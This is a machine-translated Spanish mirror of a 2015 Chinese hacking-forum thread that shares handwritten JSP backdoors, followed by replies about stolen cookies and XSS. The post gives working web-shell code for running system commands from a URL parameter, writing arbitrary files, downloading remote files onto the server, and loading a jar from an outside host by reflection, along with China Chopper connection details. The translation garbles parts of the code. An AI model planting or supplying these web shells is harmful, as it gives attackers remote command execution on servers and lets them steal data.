Este artículo es un artículo espejo de traducción automática, por favor haga clic aquí para saltar al artículo original.

Vista: 14991|Respuesta: 7

[Herramientas de seguridad] Puerta trasera JSP manuscrita

[Copiar enlace]
Publicado en 2/1/2015 18:46:57 | | | |
Transferido desde: http://p2j.cn/?p=1627
1. Ejecutar comandos del sistema:
Ejecutar comandos del sistema sin eco:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
Petición: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls
No habrá eco tras la ejecución, lo cual es muy cómodo para los cascales rebotadores.
Hay ecos con la verificación de contraseñas:
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();        int a = -1;        byte[] b = nuevo byte[2048];        out.print("<pre>");        while((a=in.read(b))!=-1){ out.println(new String(b));        } out.print("</pre>");    }%>
Petición: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

2. Codifica la cadena y escríbela en el archivo especificado:
1:
<%new java.io.FileOutputStream(request.getParameter("f").write(request.getParameter("c").getBytes());%>
Petición: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Escribe en el directorio web:
<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%>
Petición: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
2:
<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Petición: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Escribe en el directorio web:
<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Petición: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
3: Descargar el archivo remoto (si no usas Apache io utils, no puedes convertir el flujo de entrada a byte, así que es muy largo...)
<% java.io.InputStream in = new java.net.URL(request.getParameter("u").openStream();    byte[] b = nuevo byte[1024];    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();    int a = -1;    mientras que ((a = in.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>
Petición: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
Descargar en la web:
<% java.io.InputStream in = new java.net.URL(request.getParameter("u").openStream();    byte[] b = nuevo byte[1024];    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();    int a = -1;    mientras que ((a = in.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
Petición: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
Cuatro: Reflection llama al tarro exterior, perfecciona la puerta trasera
Si no te gusta que la función de backdoor mencionada anterior sea demasiado débil y está desactualizada, puedes probar esto:
<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter(u"))}).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%>
Petición: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A

Conexión con cuchillo de cocina: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, contraseña 023.

Solución:
Utiliza la reflexión para cargar un jar externo en la aplicación actual, y la reflexión ejecuta el resultado de procesamiento de salida. request.getParameterMap() contiene todos los parámetros solicitados. Dado que el paquete jar externo está cargado, el servidor debe poder acceder a esta dirección jar.




Anterior:La crisis detrás del archivo de texto TXT
Próximo:Cifrado Java MD5, cifrado y descifrado Base64 Java ejecuta código fuente de comandos del sistema
Publicado en 2/1/2015 20:17:30 |
¿Recientemente investigando la puerta trasera de JSP?
 Propietario| Publicado en 2/1/2015 20:39:44 |
admin publicado el 2015-1-2 20:17
¿Recientemente investigando la puerta trasera de JSP?

¿Has visto alguna vez jsp en una sola frase? Lo encontré, no lo estudié a fondo, no entendía xss, por fin recibí las cookies ayer y no sé cómo modificar la subida de cookies
Publicado en 2/1/2015 20:44:40 |
Delver_Si Publicado el 2015-1-2 20:39
¿Has visto alguna vez jsp en una sola frase? Lo encontré, no profundicé más, no entendí xss, por fin conseguí las galletas ayer, no sé cómo modificar la cocina...

No serán mis galletas robadas con un archivo de firma personalizado,,,

Usa el plugin HackBar de Firefox
Publicado en 2/1/2015 20:48:57 |
Delver_Si Publicado el 2015-1-2 20:39
¿Has visto alguna vez jsp en una sola frase? Lo encontré, no profundicé más, no entendí xss, por fin conseguí las galletas ayer, no sé cómo modificar la cocina...

Navegador multifuncional Ghost Brother v1.0


鬼哥多功能浏览器v1.0.exe (72 KB, Número de descargas: 7, Precio de venta: 1 Grain MB)
 Propietario| Publicado en 2/1/2015 20:57:50 |
admin publicado el 2015-1-2 a las 20:44
No serán mis galletas robadas con un archivo de firma personalizado,,,

Usa el plugin HackBar de Firefox

Ayer, la puerta libre estaba convulsiva, no podía conectarme ni entrar en la tienda de Firefox.
 Propietario| Publicado en 2/1/2015 20:59:01 |
admin publicado el 2015-1-2 a las 20:44
No serán mis galletas robadas con un archivo de firma personalizado,,,

Usa el plugin HackBar de Firefox

DZ no tiene ese resquicio legal
Publicado en 2/1/2015 21:00:22 |
Delver_Si Publicado el 2015-1-2 20:59
DZ no tiene ese resquicio legal

No sé, puedes probarlo, no estropees mi base de datos   

Todos usamos Tor Browser para rodear la pared

Renuncia:
Todo el software, materiales de programación o artículos publicados por Code Farmer Network son únicamente para fines de aprendizaje e investigación; El contenido anterior no se utilizará con fines comerciales o ilegales; de lo contrario, los usuarios asumirán todas las consecuencias. La información de este sitio proviene de Internet, y las disputas de derechos de autor no tienen nada que ver con este sitio. Debes eliminar completamente el contenido anterior de tu ordenador en un plazo de 24 horas desde la descarga. Si te gusta el programa, por favor apoya el software genuino, compra el registro y obtén mejores servicios genuinos. Si hay alguna infracción, por favor contáctanos por correo electrónico.

Mail To:help@itsvse.com